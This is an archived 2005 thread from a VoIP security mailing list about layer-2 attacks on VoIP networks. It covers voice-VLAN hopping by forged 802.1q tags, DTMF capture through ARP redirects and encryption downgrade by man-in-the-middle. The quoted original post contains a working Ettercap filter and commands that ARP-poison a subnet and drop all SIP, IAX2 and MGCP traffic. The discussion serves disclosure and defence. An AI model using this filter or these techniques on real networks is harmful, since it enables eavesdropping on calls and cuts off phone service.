[VOIPSEC] VoIP Blocking Filter w/Ettercap
Michael Todd
michaeldtodd at mac.com
Mon Jul 18 06:17:39 CDT 2005
The big problem with using 802.1x is that it isn't supported with the
802.1q trunking standard, which I know that Cisco uses for phone to
switch VLAN assignment. It is a trivial thing to modify an 802.1q
header to jump with a computer onto the voice VLAN. Even if you
configure 802.1x on a port, it will only challenge packets received
on the switch port for traffic on the the data, not voice, VLAN. And
since the switch trusts the phone to tag each packet with the correct
VLAN, a laptop can do it just as easily with a simple ifconfig command.
So, with Cisco installations (and I imagine any other that uses
802.1q trunking to the phone), there is NO way to prevent an attacker
from jumping directly onto the Voice VLAN as long as he has physical
access to the end port where a phone has been configured. Which
means, in most installations, every port at every desk. Throw
anything you want at me as far as ideas, I've run through them all,
and trust me, there is NO way to stop someone from doing this. I'll
take any challengers :). I reported this bypass method to Cisco's
PSIRT many months ago and they have yet to make any kind of public
disclosure. I believe they stated that the reason for this was that
the vulnerability was with the protocol standards, not with their
product. Not a great excuse in my opinion.
DTMF can be captured and logged for all calls once the attacker is
able to get onto the Voice VLAN and perform arp cache redirects. Use
your own imagination as far as what this could get a malicious attacker.
My recommendation is to at least disable gratuitous arp requests
and run an IDS on the voice VLAN. Not that there are many IDS sigs
for this type of attack.
Also, the problem with endpoint encryption is that, at least in Cisco
installations, the choice whether or not to encrypt the RTP stream is
negotiated *between the phones* at the time a call is placed, so if a
MITM attack were to step in the middle of this negotiation, the rest
of the call would be placed unencrypted, even between telephones that
have been configured for encryption.
The list goes on and on, please ask if anyone needs clarification or
further examples. Or challenges :). I can demonstrate any of these
attacks if anyone is curious.
Mike Todd
CCIE #10858 (Routing and Switching / Security / Voice)
michael.todd at gtsi.com
On Jul 13, 2005, at 10:31 AM, Credland, Jim wrote:
> Protecting a network to which people have physical access is tricky.
> Ettercap is a scary reminder of how easy it is to intercept/reroute
> and
> generally ethernet segments. If you've got a test network to try a
> man in
> the middle attack on using ettercap it's well worth it for the
> amusement
> value alone.
>
> In an enterprise environment requiring a high standard of VoIP
> security I'd
> definitely be considering something like 802.1x port authentication to
> reduce the risk from someone connecting a PC to the VoIP vLAN, and
> if it was
> readily available encryption of the voice and switching traffic.
>
> Much of the documentation on VoIP Security seems to skip over these
> kinds of
> problems, the NIST documents solution is use encryption,
> authentication and
> public keys. This does little about denial-of-service and has the
> lack of
> support for these kinds of features in many implementations. The
> Cisco
> VoIP security document used to suggests you don't let anyone bad
> near your
> switch - but I've noticed a new document on their site listing a
> whole load
> of layer 2 security features - see
> http://www.cisco.com/en/US/netsol/ns340/ns394/ns165/
> networking_solutions_whi
> te_paper0900aecd80240249.shtml - in the layer 2 defenses section.
> I'd be
> interested - if you test switch has these features - in whether or
> not you
> can cause much distruption with these features enabled.
>
> I think I saw a tool for listening to intercepted RTP streams but I
> forget
> what it's called?
>
> Luckly once you get out of your LAN environment to a central server or
> carrier environment where there are strong physical access controls
> then
> this kind of security becomes less critical and other problems
> raise their
> heads instead.
>
> jim.credland at thus.net
> Security Consultant
>
>
>
>> -----Original Message-----
>> From: Natas [mailto:natas05 at gmail.com]
>> Sent: 13 July 2005 02:09
>> To: Voipsec at voipsa.org
>> Subject: [VOIPSEC] VoIP Blocking Filter w/Ettercap
>>
>> After playing around with ettercap and its filter program,
>> etterfilter, I realized how easy it would be to ARP poison a
>> network and block all VoIP packets from passing through.
>> While packet manipulation obviously isn't new, and the root
>> of the problem comes from the ease of ARP poisoning, I was
>> still kind of shocked at how easy an attack like this could
>> be pulled off in a real world scenario.
>> A simple ettercap filter can be used to block all SIP, IAX2
>> and MGCP traffic, stopping any possible communication across
>> a network segment, but letting other traffic properly pass
>> through. Below is a basic filter I wrote up for this list.
>>
>>
>> # blockvoip.filter
>> # Proof of concept VoIP blocking filter
>> # By Natas
>> # Instructions:
>> # Run "etterfilter blockvoip.filter -o blockvoip.ef"
>> # Then "ettercap -T -q -F blockvoip.ef -M ARP /10.1.1.1-254/ //"
>>
>> if (ip.proto == UDP && udp.src == 4569) {
>> msg("Killed Attempted IAX2 Connection.\n");
>> drop();
>> kill();
>> }
>>
>> if (ip.proto == UDP && udp.src == 5060) {
>> msg("Killed Attempted SIP Connection.\n");
>> drop();
>> kill();
>> }
>>
>> if (ip.proto == UDP && udp.src == 2427) {
>> msg("Killed Attempted MGCP Connection.\n");
>> drop();
>> kill();
>> }
>>
>> # Don't know to much about MGCP Call Agent traffic but # I
>> put it in here for the hell of it.
>> if (ip.proto == UDP && udp.src == 2727) {
>> msg("Killed Attempted MGCP Call Agent Connection.\n");
>> drop();
>> kill();
>> }
>>
>> # End.
>>
>> Obviously this is just a simple example and could easily be
>> expanded to ensure that no VoIP traffic whatsoever passes through.
>>
>> I'm not sure how everyone here will feel about this little
>> example but I wanted to put it out there for everyone to see.
>> I have some other VoIP packet manipulation ideas that I am
>> playing around with.
>>
>> I enjoy the VoIPSA mailing list very much and like reading
>> every ones posts and concerns. If you would like to talk off
>> the list, feel free to email me or contact me at 206-338-3337.
>>
>> Natas
>>
>> _______________________________________________
>> Voipsec mailing list
>> Voipsec at voipsa.org
>> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>>
>>
>
> _______________________________________________
> Voipsec mailing list
> Voipsec at voipsa.org
> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>
More information about the Voipsec
mailing list